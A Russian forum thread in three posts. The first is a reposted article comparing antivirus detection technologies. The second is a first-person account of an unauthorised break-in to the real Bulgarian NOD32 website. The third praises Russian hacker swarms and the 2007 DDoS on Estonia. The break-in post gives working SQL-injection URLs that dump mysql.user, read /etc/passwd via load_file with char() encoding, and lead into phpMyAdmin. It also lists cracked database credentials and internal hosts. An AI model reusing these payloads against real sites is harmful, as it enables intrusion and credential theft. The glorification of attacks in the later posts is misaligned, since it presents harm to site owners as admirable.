Способы перечислены в соответствии с повышением уровня абстракции при работе с кодом. Под уровнем абстракции в данном случае подразумевается то, под каким углом зрения рассматривается исполняемая программа: как первичный цифровой объект (набор байт), как поведение (более абстрактное следствие из набора байт) или как совокупность эффектов в операционной системе (более абстрактное следствие из поведения). Примерно по этому же вектору шло и развитие антивирусных технологий: работа с файлами, работа с событиями через файл, работа с файлом через события, работа с самой средой, — поэтому приведенный список естественным образом оказался выстроен и по хронологии.

Подчеркнем, что приведенные способы — не столько обособленные технологии, сколько условные этапы непрерывного процесса развития технологий сбора данных для обнаружения вредоносных программ. Технологии развиваются и переходят друг в друга более или менее постепенно; например, эмуляция может оказаться ближе к простой работе с файлом, если данная ее реализация лишь частично преобразует файл как набор байт, или же к «песочнице», если речь идет о полной виртуализации системных функций.

Рассмотрим эти способы подробно.
1. Считывание файлов

Самые первые из появившихся антивирусов основывались на анализе кода файлов как наборов байт. Впрочем, анализом это назвать сложно — речь идет о простом сравнении байтовой последовательности с известной сигнатурой. Но нас сейчас интересует техническая сторона описанной технологии, а именно: в процессе поиска вредоносных программ данные, передаваемые в компонент принятия решений, извлекаются из файлов и представляют собой определенным образом упорядоченные массивы байт.

Характерная особенность этого способа в том, что антивирус работает только с исходным байтовым кодом программы, не затрагивая ее поведение. Несмотря на то, что способ «архаический», он совершенно не устарел и так или иначе используется во всех современных антивирусах — но уже не как единственный и даже не как основной, а лишь как один из нескольких.
2. Эмуляция

Технология эмуляции является промежуточной ступенью между обработкой программы как набора байт и обработкой программы как определенной последовательности действий.

Эмулятор разбирает байтовый код программы на команды и каждую команду запускает в виртуальной копии компьютера. Это позволяет средству защиты наблюдать за поведением программы, не ставя под угрозу операционную систему и данные пользователя, что неизбежно произошло бы при исполнении программы в реальной среде.

Эмулятор является промежуточной ступенью абстрагирования при работе с программой. Поэтому характерную особенность эмулятора можно грубо сформулировать примерно так: эмулятор все еще работает с файлом, но анализируются уже, фактически, события. Эмуляторы используются во многих (возможно, во всех) крупных антивирусах, главным образом как дополнение к основному, более низкоуровневому файловому движку, либо как «страховка» для более высокоуровневых движков (таких как «песочница», системный мониторинг).
3. Виртуализация: «песочница»

Виртуализация в том ее виде, в котором она используется в «песочницах», представляет собой логическое продолжение эмуляции. А именно: «песочница» уже работает с исполняющейся в реальной среде программой, но все еще ее контролирует.

Суть такой виртуализации хорошо отражена в названии технологии — «песочница». В обычной жизни песочница — это некое огороженное пространство, в пределах которого ребенок может спокойно играть. Если провести аналогию и под реальным миром понимать операционную систему, а под шаловливым ребенком — вредоносную программу, то в роли ограждения будет выступать некий набор правил взаимодействия с операционной системой. Такими правилами может быть запрет на модификацию реестра ОС, ограничение работы с файловой системой посредством ее частичной эмуляции. Например, программе, запущенной в «песочнице», может быть «подсунута» виртуальная копия системного реестра — для того, чтобы изменения, вносимые программой в реестр, не могли повлиять на работу операционной системы. Таким образом могут виртуализироваться любые точки соприкосновения программы со средой: файловая система, реестр.

Грань между эмуляцией и виртуализацией тонка, но ощутима. Первая технология предоставляет среду для исполнения программы (и, таким образом, в процессе работы «содержит» программу и полностью управляет ею). Во втором случае в качестве среды уже выступает сама операционная система, а технология лишь контролирует взаимодействие между операционной системой и программой, в отличие от предыдущего случая находясь с последней на равных.

Таким образом, средство защиты, основанное на виртуализации описанного типа, работает уже не с файлом, но с поведением программы — однако все еще не с системой.

Механизм типа «песочница», так же как и эмулятор, не особенно активно используется в антивирусах — главным образом потому, что в программной реализации он требует значительного объема ресурсов. Антивирусы, имеющие в своем составе «песочницу», легко идентифицируются по существенной временной задержке между запуском программы и началом ее исполнения (либо — в случае успешной идентификации вредоносной программы — между ее запуском и уведомлением, полученным от антивируса, об ее успешном детектировании). Учитывая, что в настоящий момент проводятся активные исследования в области аппаратной виртуализации, ситуация вскоре может поменяться.

Пока что движок типа «песочница» используется лишь в нескольких антивирусах.
4. Мониторинг системных событий

Мониторинг системных событий является более «абстрактным» способом сбора информации для выявления вредоносных программ. Если эмулятор или «песочница» наблюдают за каждой программой в отдельности, то монитор наблюдает за всеми программами сразу посредством регистрации всех событий, происходящих в операционной системе и порожденных работающими программами.

Технически такой способ сбора информации реализуется посредством перехватов функций операционной системы. Таким образом, перехватив вызов некой системной функции, механизм-перехватчик получает информацию о том, что определенная программа совершает определенное действие в системе. На протяжении своей работы монитор собирает статистику таких действий и передает ее в аналитический компонент для обработки.

Этот технологический принцип наиболее активно развивается в настоящее время. Он используется в качестве одного из компонентов в нескольких крупных антивирусах, и в качестве основы — в отдельных утилитах, специализирующихся на мониторинге системы (их называют «HIPS-утилитами», «HIPS’ами» — это Prevx, CyberHawk и ряд других). Однако в свете того, что любую защиту можно обойти, данный способ поиска вредоносных программ представляется не самым перспективным, поскольку при запуске программы в реальной среде риск существенно снижает эффективность защиты.
5. Поиск системных аномалий

Это наиболее абстрактный способ сбора информации о предположительно зараженной системе. Я упоминаю его здесь в первую очередь как логическое продолжение и предел абстракции в приведенном списке технологий.

Данный метод основан на следующих положениях:
операционная среда вместе со всеми выполняющимися в ней программами — это интегральная система;
ей присуще некое «системное состояние»;
если в среде исполняется вредоносный код, то состояние системы является «нездоровым» и отличается от состояния «здоровой» системы, в которой вредоносного кода нет.

Исходя из этих положений мы можем судить о состоянии системы (и, следовательно, о возможном присутствии в ней вредоносных программ), сравнивая его с эталоном (за эталон принимается «здоровое» состояние системы) или анализируя совокупность отдельных ее параметров.

Для эффективного обнаружения вредоносного кода методом анализа аномалий необходима достаточно сложная аналитическая система — наподобие экспертной системы или нейронной сети. Возникает много вопросов: как определить «здоровое состояние», чем оно отличается от «нездорового», какие дискретные параметры можно отслеживать и как их анализировать? По причине такой сложности в настоящее время этот способ разработан мало. Зачатки его можно обнаружить в некоторых антируткит-утилитах, где он реализован на уровне сравнения с определенным срезом системы, взятым за эталон (устаревшие утилиты PatchFinder, Kaspersky Inspector), либо отдельных ее параметров (GMER, Rootkit Unhooker).
Забавная метафора

Аналогию с ребенком, приведенную в разделе «Песочница», можно продолжить таким образом: эмулятор похож на няньку, которая непрерывно следит за ребенком, чтобы он не натворил лишнего, мониторинг системных событий — на воспитателя, надзирающего за целой группой детишек, поиск системных аномалий — на предоставление детям полной свободы, ограниченной лишь проверкой оценок в их дневнике. В таком случае байтовый анализ файла — это только планирование ребенка, точнее, поиск признаков шаловливости в характере предполагаемого родителя.

Технологии растут и развиваются.

Аналитический компонент

Сложность алгоритма принятия решений может быть совершенно любой. Очень условно можно разделить аналитические системы антивирусов на три категории, между которыми может быть множество промежуточных вариантов.
1. Простое сравнение

Вердикт выносится по результатам сравнения единственного объекта с имеющимся образцом. Результат сравнения бинарный («да» или «нет»). Пример: идентификация вредоносного кода по строго определенной последовательности байт. Другой пример, более высокоуровневый: идентификация подозрительного поведения программы по единственному совершенному ею действию (такому как запись в критичный раздел реестра или в папку автозагрузки).
2. Сложное сравнение

Вердикт выносится по результатам сравнения одного или нескольких объектов с соответствующими образцами. Шаблоны для сравнения могут быть гибкими, а результат сравнения — вероятностным. Пример: идентификация вредоносного кода по одной из нескольких байтовых сигнатур, каждая из которых задана нежестко (например, так, что отдельные байты не определены). Другой пример, более высокоуровневый: идентификация вредоносного кода по нескольким используемым им и вызываемым непоследовательно API-функциям с определенными параметрами.
3. Экспертная система

Вердикт выносится в результате тонкого анализа данных. Это может быть система, содержащая в себе зачатки искусственного интеллекта. Пример: идентификация вредоносного кода не по жестко заданному набору параметров, но по результатам многосторонней оценки всей совокупности параметров в целом, с присвоением каждому из событий веса «потенциальной вредоносности» и расчетом общего результата.

Реальные названия технологий — что к чему

Рассмотрим теперь, какие именно алгоритмы лежат в основе конкретных технологий поиска вредоносных программ.

Обычно производитель, разработав новую технологию, дает ей совершенно новое, уникальное имя (примеры: «Проактивная защита» в Kaspersky Antivirus, TruPrevent от Panda, DeepGuard от F-Secure). Это очень правильный подход, поскольку он позволяет избежать автоматического восприятия технологии в узких рамках некого термина-штампа. Тем не менее, использование штампов — таких как «эвристика», «эмуляция», «песочница», «поведенческий блокиратор» — неизбежно при любых попытках доступно и не вдаваясь в технические подробности охарактеризовать технологию.

Тут-то и начинается терминологическая путаница. За терминами жестко не закреплены значения (а в идеале термин должен быть однозначен, на тот он и термин). Один человек так понимает этот термин, другой — иначе. Вдобавок, значения, которые вкладывают в термины авторы так называемых «доступных описаний», часто очень существенно отличаются от значений, принятых в среде профессионалов. Иначе чем объяснить тот факт, что описание технологии на сайте производителя может изобиловать терминами, но при этом ничего не сообщать о сути технологии или сообщать нечто, не соответствующее ей.

Например, некоторые производители антивирусных систем характеризуют свои продукты как оснащенные HIPS, «проактивной технологией» или «несигнатурной технологией». Пользователь, который понимает термин HIPS как мониторинг системных событий и их анализ на наличие вредоносного кода, может оказаться обманутым. В действительности под этими характеристиками может скрываться все что угодно — например, движок типа «эмулятор», оснащенный аналитической системой типа «эвристика» (определение см. ниже). Еще чаще встречается ситуация, когда защита характеризуется как «эвристическая» без каких-либо уточнений.

Подчеркнем, что речь не идет об умышленном обмане пользователя производителем — вероятнее всего, составитель описания просто сам запутался в терминах. Речь идет лишь о том, что описание технологии, составленное для конечного пользователя, может не отражать ее суть, и что опираться на него при ответственном подходе к выбору защиты следует с осторожностью.

Рассмотрим наиболее распространенные термины в области антивирусных технологий (см. диаграмму).

Меньше всего разночтений у термина «сигнатурное детектирование»: так или иначе, с технической стороны оно подразумевает работу с байтовым кодом файлов, а с аналитической — примитивный способ обработки данных, обычно — простое сравнение. Это самая старая технология, но она же и наиболее надежная — поэтому, несмотря на большие производственные издержки, связанные с пополнением базы, активно используется по сей день во всех антивирусах.

Если в характеристике используется название технического компонента из приведенного выше списка — «эмулятор» или «песочница» — это также вызывает минимум толкований. При этом аналитический компонент такой технологии может быть представлен алгоритмом любой степени сложности, от простого сравнения до экспертной системы.

Термин «эвристика» уже немного туманен. По определению словаря Ожегова-Шведовой, «эвристика — совокупность исследовательских методов, способствующих обнаружению ранее неизвестного». Эвристика — это в первую очередь тип аналитического компонента защиты, а не определенная технология. Вне конкретной темы, в контексте решения задач, он приблизительно соответствует «нечеткому» способу решения нечетко поставленной задачи.

На заре антивирусных технологий, когда и был впервые задействован термин «эвристика», он подразумевал вполне определенную технологию — идентификацию вируса по нескольким гибко заданным байтовым шаблонам, т.е. систему из технического компонента типа «работа с файлами» и аналитического — «сложное сравнение». Сейчас термин «эвристика» обычно используется в более общем значении «технологии поиска неизвестных вредоносных программ». Иными словами, говоря об «эвристическом детектировании», производитель подразумевает некую систему защиты, аналитический компонент которой работает по принципу нечеткого поиска решения (что может соответствовать типу аналитического компонента «сложный анализ» или «экспертная система», см. диаграмму). При этом технологическая основа защиты, способ сбора информации для последующего анализа, может быть какой угодно — от работы с файлами до работы с событиями или состоянием операционной системы.

Еще меньше определенности с такими названиями, как «поведенческое детектирование», «проактивное детектирование». Они могут подразумевать широкий спектр технологий — от эвристики до мониторинга системных событий.

Термин HIPS используется в описаниях антивирусных технологий очень часто, и не всегда оправданно. Несмотря на то что расшифровка аббревиатуры (Host Intrusion Prevention System) никак не отражает суть технологии, применительно к антивирусной защите технология четко определена: HIPS — это защита, технически основанная на мониторинге системных событий. При этом аналитический компонент защиты может быть каким угодно — от пресечения единичных подозрительных событий до сложного анализа цепочек программных действий. Таким образом, под определением «HIPS» в описании антивируса может скрываться, например, примитивная защита нескольких ключей реестра, либо система уведомлений о попытках доступа к определенным директориям, либо более сложная система анализа поведения программ, либо какая-то другая технология, в основе которой лежит мониторинг системных событий.

Плюсы и минусы способов обнаружения вредоносного кода

Если рассматривать технологии защиты от вредоносных программ не по отдельности, а обобщенно, с точки зрения представленной модели, то вырисовывается следующая картина.

Технический компонент технологии отвечает в основном за такие ее характеристики, как нагрузка на систему (и как следствие — ее быстродействие), безопасность и защищенность.

Нагрузка на систему — это доля процессорного времени и оперативной памяти, непрерывно или периодически задействованных в обеспечении защиты и ограничивающих быстродействие системы. Эмуляция выполняется медленно, вне зависимости от реализации: на каждую проэмулированную инструкцию приходится несколько инструкций искусственной среды. То же можно сказать и про виртуализацию. Мониторинг системных событий также безусловно равномерно тормозит всю систему, но степень этой нагрузки зависит от реализации. В случае с файловым детектированием и поиском системных аномалий степень нагрузки всецело зависит от реализации.

Под «безопасностью» подразумевается степень риска, которому подвергается операционная система и данные пользователя в процессе идентификации потенциально вредоносного кода. Такой риск существует всегда, когда вредоносный код исполняется реально, в операционной системе. Для систем мониторинга событий такое реальное исполнение кода архитектурно обусловлено, в то время как эмуляция и файловое сканирование могут обнаружить вредоносный код еще до того, как он начал исполняться.

Защищенность. Этот параметр отражает уязвимость технологии, то, насколько вредоносный код может затруднить процесс идентификации себя. Противостоять файловому детектированию очень легко: достаточно хорошо упаковать файл, либо сделать его полиморфным, либо воспользоваться руткит-технологией для сокрытия файла. Противостоять эмуляции немного сложнее, но также возможно — для этого используются многочисленные трюки3, встроенные в код вредоносной программы. Но скрыться от системного мониторинга программе уже сложно — по той причине, что практически невозможно скрыть поведение.

Подводя итог: в среднем, чем менее абстрактна защита, тем она безопаснее, но и тем проще ее обойти.

Аналитический аспект технологии отвечает за такие характеристики, как проактивность (и зависящую от нее необходимую частоту обновления антивируса), процент ложных срабатываний и нагрузка на пользователя.

Под проактивностью подразумевается способность технологии обнаруживать новые, еще не попадавшие в руки специалистов вредоносные программы. К примеру, простейший тип анализа («простое сравнение») соответствует наиболее далеким от проактивности технологиям, таким как сигнатурное детектирование: при помощи таких технологий могут быть обнаружены лишь известные вредоносные программы. По мере возрастания сложности аналитической системы, возрастает и ее проактивность. С проактивностью непосредственно связана и такая характеристика защитной системы, как необходимая частота обновлений. Например, базы сигнатур нужно часто обновлять, в то время как более сложные эвристические системы остаются адекватными текущей ситуации более длительный срок, а экспертные аналитические системы могут успешно функционировать без обновлений месяцами.

Процент ложных срабатываний так же непосредственно связан со сложностью технологии анализа. Если вредоносный код идентифицируется жестко заданной сигнатурой или последовательностью действий — при условии достаточной длины сигнатуры (байтовой, поведенческой или какой-то еще), такая идентификация однозначна: сигнатура идентифицирует только определенную вредоносную программу и не подходит для других. Но чем больше «жертв» старается захватить идентификационный алгоритм, тем более нечетким он становится, вследствие чего способен захватить больше безвредных программ.

Под нагрузкой на пользователя подразумевается степень его участия в формировании политики защиты — правил, исключений, белых и черных списков — и участия в процессе вынесения вердикта — подтверждение или опровержение «подозрений» аналитической системы. Нагрузка на пользователя зависит от реализации, но общее правило таково, что чем дальше анализ от примитивного сравнения, тем больше случается ложных срабатываний — которые нужно как-то корректировать. Для этого и необходимо участие пользователя.

Подводя итог: чем сложнее аналитическая система, тем она могущественнее, но и тем выше процент ложных срабатываний. Последние компенсируются взаимодействием с пользователем.

Теперь, если рассмотреть какую-либо технологию через призму этой модели, легко теоретически оценить ее преимущества и недостатки. Возьмем, например, эмулятор со сложным аналитическим компонентом. Это защита очень безопасная (поскольку не требуется запуск проверяемого файла), но «пропускающая» некоторый процент вредоносных программ вследствие использования в них антиэмуляционных трюков, либо вследствие неизбежных недоработок в реализации самого эмулятора. Такая защита обладает высоким потенциалом и будет при грамотной реализации качественно идентифицировать большой процент неизвестных вредоносных программ, но неизбежно медленно.

Как выбрать систему несигнатурной защиты?

В настоящий момент большинство решений в области компьютерной безопасности реализуются как комплекс нескольких технологий. В классических антивирусах сигнатурное детектирование обычно используется в связке с той или иной реализацией мониторинга системных событий, эмулятора, песочницы. Как сориентироваться в спецификациях и выбрать систему защиты от вредоносного кода, оптимально отвечающую потребностям конкретного пользователя?

Прежде всего, следует помнить, что не существует ни универсального, ни «самого лучшего» решения. У каждой технологии есть свои плюсы и минусы. Например, мониторинг событий в системе постоянно занимает процессорное время, но его труднее всего обмануть; процессу эмуляции можно помешать использованием в коде определенных команд, зато при ее использовании обнаружение вредоносного кода выполняется в упреждающем режиме, система остается незатронута. Другой пример: простые правила принятия решений требуют от пользователя слишком активного участия в процессе, порождая много вопросов к пользователю, а сложные и «тихие» чреваты ложными срабатываниями. Выбор технологии — это выбор золотой середины с учетом конкретных потребностей и обстоятельств.

Например, тому, кто работает в уязвимых условиях («непропатченная» система, отсутствие запретов на использование расширений браузера, скриптов и т.п.), сильно беспокоится за свою безопасность и имеет достаточно ресурсов, больше всего подойдет система типа «песочница», с качественным аналитическим компонентом. Такая система обеспечивает максимум безопасности, но в сегодняшней реализации задействует много оперативной памяти и процессорного времени — что может проявляться в «торможении» ОС. Специалисту, желающему контролировать критичные системные события, и заодно оградить себя от неизвестных вредоносных программ, подойдет система мониторинга реального времени. Такая система равномерно, но не существенно загружает операционную систему и требует специального участия в создании правил и исключений. А пользователю, который ограничен в ресурсах либо не хочет загружать свою машину постоянным мониторингом, а разум — созданием правил, подойдет более простая эвристика. В конце концов, за качество детектирования неизвестных вредоносных программ отвечает не какая-то одна составляющая защитной системы, а вся система в целом; более простой технологический способ можно компенсировать более умелым принятием решений.

Системы несигнатурного обнаружения ранее неизвестного кода распадаются на две категории. Первая — это самостоятельные HIPS-системы, такие как уже приведенные в качестве примера Prevx или Cyberhawk. Вторая — крупные антивирусы, эволюционировавшие в поиске большей эффективности до несигнатурных технологий. Преимущества той или иной категории очевидны: узкая специализация, в рамках которой можно неограниченно совершенствовать качество, — в первом случае, и значительный опыт разносторонней борьбы с вредоносными программами — во втором.

В выборе того или иного продукта рекомендуется руководствоваться в первую очередь результатами независимых тестов, а также отзывами пользователей, которым вы доверяете.


Источнег: VirusList
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 19.12.2007 - 14:38

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Атака на NOD32


В последнее время меня начали раздражать конференции по информационной безопасности, на которых половину времени зачитывают доклады представители различных антивирусных компаний. Подумай сам, кто будет использовать коммерческий продукт без серьезной необходимости?? Не спорю, необходимость есть, вот только порой она сильно преувеличена. Тем не менее ведущие антивирусные лаборатории наращивают штаты своих специалистов, пытаясь поглотить рынок и частенько забывая о собственной безопасности. О чем это я? Да о свеженьком взломе сервера одного из представительств популярного антивируса NOD32. Думаю, ты уже догадался, что речь в статье пойдет именно о нем.

Start Level
Одним из вечеров, бродя по Сети и занимаясь рутинной работой, я в очередной раз заметил на десктопе всплывающее окно NOD32 с предложением об апдейте баз. Нажав на кнопку «Yes», я обнаружил, что аккаунт, который ранее был любезно предоставлен одним из моих знакомых, оказался залоченным. Выругавшись, я полез в закладки браузера, чтобы отыскать ссылку на позабытый ресурс с халявными обновлениями для антивиря, но и тут меня ждал облом - линка и след простыл. Недолго думая я набрал адрес Гугла, вбил нехитрый запрос и принялся просматривать результаты поиска. Десятки форумов различной тематики, хак/варез-порталы - все это мигом хлынуло в мою Оперу, однако заниматься этим совершенно не входило в мои планы, поэтому, отыскав нужный линк, я свернул этот увлекательный процесс и перешел по найденному URL.

Увы, но вместо свежих антивирусных баз меня поджидал редирект, который вел в направлении www.eset.bg. Быть может, это событие так и осталось бы незамеченным, если бы не одно но. Указанный ресурс являлся официальным сайтом болгарского представительства NOD32. Злая шутка или ирония судьбы? Этот вопрос возник в моей голове и тут же пропал, зато вместо него появилось непреодолимое желание одним глазком взглянуть на сервер антивирусной компании. Изнутри.

Первым делом я убедился, что оба домена - www.eset.bg и www.nod32.bg - располагаются на одном сервере. Об этом свидетельствовали показания утилы nslookup, определившей IP-адрес болгарского дедика 89.25.53.73. Что ж, можно было приступать к работе, тем более что я успел заметить PHP'шный движок ресурса smile.gif. Погуляв по сайту, я наткнулся на админку, располагающуюся в стандартном каталоге - /admin. Как и следовало ожидать, все входящие данные строго фильтровались. Этот факт меня нисколько не удивил, а лишь подтвердил, что на быстрый взлом рассчитывать бесполезно (интересно, а кто на него надеялся?. Тем временем первая зацепка оказалась у меня в руках:

CODE
http://www.eset.bg/main.php?id=38&virusID=-1


Диагноз был категоричен - слепой SQL-инъект с возможностью лечения. Как выяснилось, на сервере крутилась MySQL версии 4.0.24, а прав юзера в базе хватало на доступ к mysql.user

CODE
http://www.eset.bg/main.php?id=38&virusID=-1+union+all+select+1,2,concat(user,char(58), password,char(58),host),4,5,6,7,8+from+mysql.user+/*


Как ты знаешь, в мускуле ниже пятой версии все пассы пользователей хранятся в MySQL-хэшах, которые в 50% случаев без труда поддаются бруту. На этот раз мой хэш-улов состоял из более чем десятка аккаунтов, самые аппетитные из которых имели следующий вид (данные частично искажены по понятным причинам) :

CODE
root:44b3e5527af37974:localhost
root:75047d7f64a1ve95:web
phpnod:12f6c0a1912e07d4:localhost
hordemgr:75047d7f64a1ve95:%
phpbb:73b3fb216f8de074:localhost
phpbb2:057d4245782c1df7:localhost

Несколько удивляло наличие двух рутов, хэши которых вместе с остальными моментально отправились на брут. Результат не заставил себя долго ждать, и через несколько минут один из паролей порадовал мой взор – «Vm0db». Вот только ни к админке, ни к SSH он не подходил.

Тогда я обратил внимание на форум: что-то подсказывало мне, что пасс пригодится именно там. Просмотрев профили юзеров, я выделил среди прочих админа с загадочным ником root . Несомненно, админ форума был ярым линуксоидом; окончательно я убедился в этом, когда успешно залогинился под его аккаунтом: root:Vm0db. В радостном порыве я метнулся к админке, чтобы попробовать добытую пару логин/пароль и там, но на этот раз мне не повезло, и я вынужден был вернуться на форум.

Но у меня оставался еще один шанс - залить шелл через админку форума, благо движок борды оказался печально изветным phpbb. Для этого мне требовалось найти полный путь к каталогу форума, после чего сделать бэкап базы, внести в него пару «корректировок» и замутить восстановление БД через всю ту же админку phpbb. Идея была проста и заманчива, вот только версия форума оказалась пропатченной дальше некуда, в результате чего ни один из известных багов так и не помог вызвать ошибку с раскрытием путей установочных каталогов. Я призадумался. Ситуация все больше походила на тупиковую, и нужно было срочно пересматривать свои действия, но время, проведенное за взломом, давало о себе знать, и силы постепенно покидали меня. За окном уже давно рассвело, и я принял решение отправиться спать, предварительно закатав дамп базы форума (на всякий пожарный.

Level Up
Проснувшись далеко за полдень и наскоро поев, я приконнектился к Сети, где меня ждал Сюрприз. Да-да, именно вот так - с большой буквы: Сюрприз . Нет, админ не пропатчил баг и не лишил меня возможности админить форум, отнюдь. А вот некоторые из стыренных ночью мускул-хэшей успешно сбрутились, пока я спал . Таким образом, я получил несколько аккаунтов к БД на сервере NOD32:

CODE
hordemgr:WeB_PaSs
phpbb2:fm0dbD
phpbb:bDn0B
phpnod:fm0dpHt

Но еще большую радость я испытал, когда мой взгляд переместился на рут-хэши. Дело в том, что один из них полностью совпадал с хэшем пароля пользователя hordemgr:

CODE
root:75047d7f64a1ve95
hordemgr:75047d7f64a1ve95

Это означало лишь одно - у меня в руках был заветный акк:

CODE
root:WeB_PaSs

Но и здесь не все прошло гладко: пасс не подходил ни на SSH, ни на FTP, ни на основную админку сайта. Тогда я зааплоадил MySQL-клиент от RST на один из своих поломанных ресурсов и попробовал подключиться к базе удаленно:

CODE
http://www.xxx.com/images/sql.php?s=y&login=hordemgr& passwd=WeB_PaSs&server=89.25.53.73&port=3306

Почему hordemgr, а не root, спросишь ты? Просто у юзера hordemgr в поле host стоял заветный символ «%» (согласно данным из mysql.user). Однако все мои старания были тщетны - вместо доступа к БД я лицезрел еrrоr, злой рок неотступно следовал за мной. От безысходности своего положения я стал теребить уже заюзанный SQL-инъект и вдруг сообразил, что совершенно забыл проверить наличие прав file_priv. Я наскоро сформировал кверю:

CODE
https://www.nod32.bg/main.php?id=38&virusID=-1+union+all +select+1,2,3,4,load_file('/etc/passwd'),6,7,8+/*

И в качестве ответа она вернула пустую страницу. Тогда я смело заюзал char(), несколько видоизменив запрос к базе:

CODE
https://nod32.bg/main.php?id=38&virusID=-1+union+all+select+1,2,3,4, load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,7,8+/*

К моему удивлению, содержимое passwd висело в окне моего браузера:

CODE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
........

Что ж, следующим логичным действием было бы чтение сорцов движка ресурса и всевозможных конфигов. Я решил начать с Апача и тут же обломался - найти его конфиг оказалось не так-то легко. Тогда было решено редиректить свою активность на определение пути до корня веб-каталога. Покопавшись в /etc/passwd, я выудил две любопытные записи:

www-data:x:33:33:www-data:/var/www:/bin/sh
web:x:1002:0:,,,:/var/www:/bin/bash
Вероятно, первая часть пути имела вид /var/www, но, что было внутри, оставалось загадкой. Пофантазировав, я выделил наиболее реальные варианты:

public_html
htdocs
html
pub
www
www_pub
www_html

Забегая вперед, скажу, что ни один из них не дал положительного результата. Поковыряв баг еще с час, я приуныл. Без знания пути до веб-каталога дальнейшее осуществление взлома накрывалось, да и инфу в каталогах юзеров нащупать не удавалось. Обидно было останавливаться, не дойдя до финишной черты. Запустив сканирование веб-директорий, я надеялся найти phpmyadmin или каталоги с неправильно выставленными чмодами. Но, увы, не повезло мне и здесь. Тогда я машинально полез в файл /etc/hosts и обнаружил там любопытную запись:

CODE
localhost.localdomain localhost
89.25.53.73 web.nod32.bg web
89.25.53.74 partners.nod32.bg partners
89.25.53.71 gateway.nod32.bg gateway
89.25.53.72 stats.nod32.bg stats

Обрати внимание на поддомен web.nod32.bg. Перейдя по адресу ]]>http://web.nod32.bg]]>, я попал на тестовую страницу Апача smile.gif. Скрестив пальцы, я вбил в адресной строке браузера линк:

CODE
http://web.nod32.bg/phpmyadmin/


И увидел установленный и готовый к работе phpMyAdmin! Победа была за мной! Уже через пару минут я вовсю орудовал в базе (используя сбрученные пассы. Что было внутри, не скажу – военная тайна. Важно одно - помимо доступа на чтение файлов на сервере и админки форума, я имел полноценный доступ к БД антивирусной конторы.

End Of Game
Вдоволь наигравшись с базой и от души поглумившись над болгарским представительством NOD32, я почистил хистори Оперы и закрыл браузер. Запустив Outlook и прикинув текст письма, я черканул несколько строк админу ресурса с указанием на имеющиеся баги. Задумавшись я уставился в монитор, и лишь только вновь всплывшее окошко любимого антивиря с предложением об апдейте баз вернуло меня к реальности.
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 9.01.2008 - 23:45

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Это будет интересно!!!

Саморазвивающиеся системы вторжения и защиты

Автор: Деймос Стренталл



Культ Живой Коровы
По соотношению «обычный пользователь»/«высококвалифицированный IT специалист» первое место в мире занимает США. Им на пятки наступают техномонокультурные державы будущего – Китай и Индия.

Но по раскладу «обычный пользователь»/«хакер» прочно лидирует российский интернет. Связано это с тем, что у нас высокий уровень технического образования и, в том числе, самообразования, а молодым выпускникам часто выгодней заниматься взломами, чем работать на информационную безопасность страны или выстругивать софт зарубежных компаний. В рунете практически нет глубоко законспирированных хакерских кланов или всемирно известных IT-гуру, каждый знает «по чуть-чуть», но охотно делится с окружающими специфическими знаниями, увеличивая общую массу глуповатых, но смертельно опасных для окружающих «хакеров». Там, где мы не можем взять умением или ловкостью, в дело идёт грубая сила. Хороший пример стадности и силы русских «хакеров» - атака на Эстонские сайты весной 2007, когда к ddos атакам попытался приложиться каждый, кто более-менее разбирал значения слов «пинг» и «сервер». В результате несанкционированных атак в четырёх дневном дауне пребывали десятки порталов. Это беспрецедентный случай массового кибервторжения. Ни китайские атаки на серверы США, ни окопная война между программистами джихада и западной демократией не давали такие результаты в столь короткие сроки.

Для крупномасштабной кибервойны это, конечно, не тактика, но она демонстрирует блестящую возможность построения опасного и практически неуничтожимого социума. Нет главной организации, нет авторитетов, нет хакерских кланов, нет единого фронта атак, нет тактики – рой хаоса, уничтожить который очень сложно. У роя есть только одно общее – цель, а всё остальное – индивидуальные предпочтения и уровень образования. Но лишите рой цели – и он рассыплется как улей без Королевы.

Хороший пример «борьбы ради цели» продемонстрировали русские программисты на конкурсе по программированию. В импровизированном виртуальном террариуме всем желающим предложили развить компьютерные программы, имитирующие поведение травоядных и хищников. Программисты устанавливали свойства существа (дальность зрения, максимальная скорость движения, сила атаки, сила защиты и т.п. – общая сумма была ограничена), алгоритмы его поведения (по какой траектории передвигаться; в каких случаях атаковать; есть все, что обнаружишь, или оставить немного и т.п.). Задача состояла в том, чтобы как можно больше питаться, размножиться, вытеснять другие виды животных. Важно учитывать, что по условиям конкурса, животные не могли напрямую передавать друг другу информацию о хищниках, еде и других факторах окружающей среды, но могли все вместе действовать как одна особь. В итоге всех конкурентов победили необычные животные наших программистов – виртуальные коровы, наделённые минимум необходимых инстинктов: если корова видела траву – она бежала к траве, если одна корова видела другую бегущую корову, она начинала бежать в том же направлении. Если в поле зрения наших коров не было травоядных своего вида, они с максимальной скоростью съедали всю доступную траву и сами впоследствии гибли от голода. Лишившись травы, все прочие травоядные в ареале погибали. В результате массового исчезновения травоядных вымирали и хищники.
Вы уже сложили «2 + 2» и поняли, что хакерское сообщество России живёт по тем же виртуальным законам. Если есть уязвимость – ковырять её всем вместе. Если можно что-то взломать, надо это взломать. Если у нас появился враг, надо его хотя бы укусить. Эта простая модель поведения легко описывается математическими формулами школьного курса. А математика даст нам ответ, почему хакерство так эффективно, всеобъемлюще и неистребимо.

Террариум информационной безопасности
